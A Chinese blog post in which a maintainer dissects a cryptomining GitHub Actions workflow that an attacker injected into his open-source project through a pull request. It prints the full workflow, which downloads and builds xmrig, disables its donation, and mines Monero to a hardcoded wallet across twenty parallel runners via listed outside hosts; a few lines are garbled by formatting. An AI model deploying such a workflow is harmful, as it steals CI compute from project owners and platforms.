背景:
2021年4月5日清明当天,笔者发现自己的开源项目 tomxiong/spell-check-maven-plugin 被Github禁止了Github Actions,进一步调查发现有黑客利用这个开源项目的Github Actions来挖矿,这个引起了我的兴趣,特地来分析一下这个攻击如何进行的,挖矿的脚本对于编写Github Actions的workflow有哪些可供学习的部分。
这篇文章主要关注在执行挖矿脚本的Github Actions上,至于攻击如何进行的和如何防止后续将待整个事件结束后进一步总结。
脚本分析:https://github.com/tomxiong/spell-check-maven-plugin/actions/runs/719145746/workflow
脚本执行情况

脚本内容如下:
name: Run
on: [pull_request]
jobs:
run:
name: Run
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
steps:

  • shell: bash
    run: |
    sudo apt-get update
    sudo apt-get install --yes \
    build-essential \
    cmake \
    git \
    libhwloc-dev \
    libssl-dev \
    libuv1-dev
    curl --location --output xmrig.tar.gz \
    https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1
    tar xf xmrig.tar.gz || exit 1
    cd xmrig-* || exit 1
    # Izvinite)))))
    sed -i 's/= 1;/= 0;/' src/donate.h || exit 1
    mkdir build || exit 1
    cd build || exit 1
    cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1
    make --jobs=$(nproc) || exit 1
    adres=49eqpX3Sn2d5cfJTevgZLGZGQmcdE37QE4TMJDmDcJeCG8DUgkbS5znSsU35Pk2HC1Lt99EnSiP9g74XpUHzTgxw23n5CkB
    servery=(
    165.0.74.146:18089
    84.58.115.216:18089
    137.103.97.192:18089
    194.5.250.42:18089
    96.41.220.52:18089
    51.79.173.165:18089
    100.19.74.83:18089
    204.27.62.98:18089
    96.43.139.226:18089
    46.4.52.92:18081
    144.76.113.157:18081
    )
    servery=( (shufe"(shuf -e "{servery[@]}") )
    cat <config.json
    {
    "autosave": false,
    "cpu": true,
    "opencl": false,
    "cuda": false,
    "pools": []
    }
    EOF
    for server in "servery[@]";dojqargserver"{servery[@]}"; do jq --arg server "server" --arg adres "$adres" \
    '.pools += [{ coin: "monero", url: $server, user: $adres, daemon: true }]' \
    config.json > config.json.tmp || exit 1
    mv config.json.tmp config.json || exit 1
    done
    ./xmrig -c config.json**
    逐步分析:
    名称简单:Run
    第2行 触发事件为: on[pull request],即这个workflow仅当有人创建到本项目的pull request即可触发,不影响main分支,也方便删除pull request和fork的分支。
    第8行,fail-fase: false , 查看帮助文档,它的值如果是true的话意味着针对metrix workflow的多个节点,如果有一个失败的话,后续剩余还未执行的job会被取消,参考:https://www.edwardthomson.com/blog/github_actions_6_fail_fast_matrix_workflows.html
    第9,10行,Stratege--》Metrix 可以指定执行job并行的node数以及编号,这个可以用于多节点并行执行的job,后续可以试一下如何使用。
    第27行,用sed修改donat.h中将=1修改为=0,貌似关闭donat的功能,猜测挖矿时不贡献一下原作者,吃独食呀。
    第46行,shuf的用法,shuf是随机排序一下输入的内容, 具体参考:https://www.geeksforgeeks.org/shuf-command-in-linux-with-examples/#:~:text=The%20shuf%20command%20in%20Linux%20writes%20a%20random,randomizes%20those%20input%20lines%20and%20displays%20the%20output.
    第57行, jq的用法,利用for loop更新config.json文件中的pools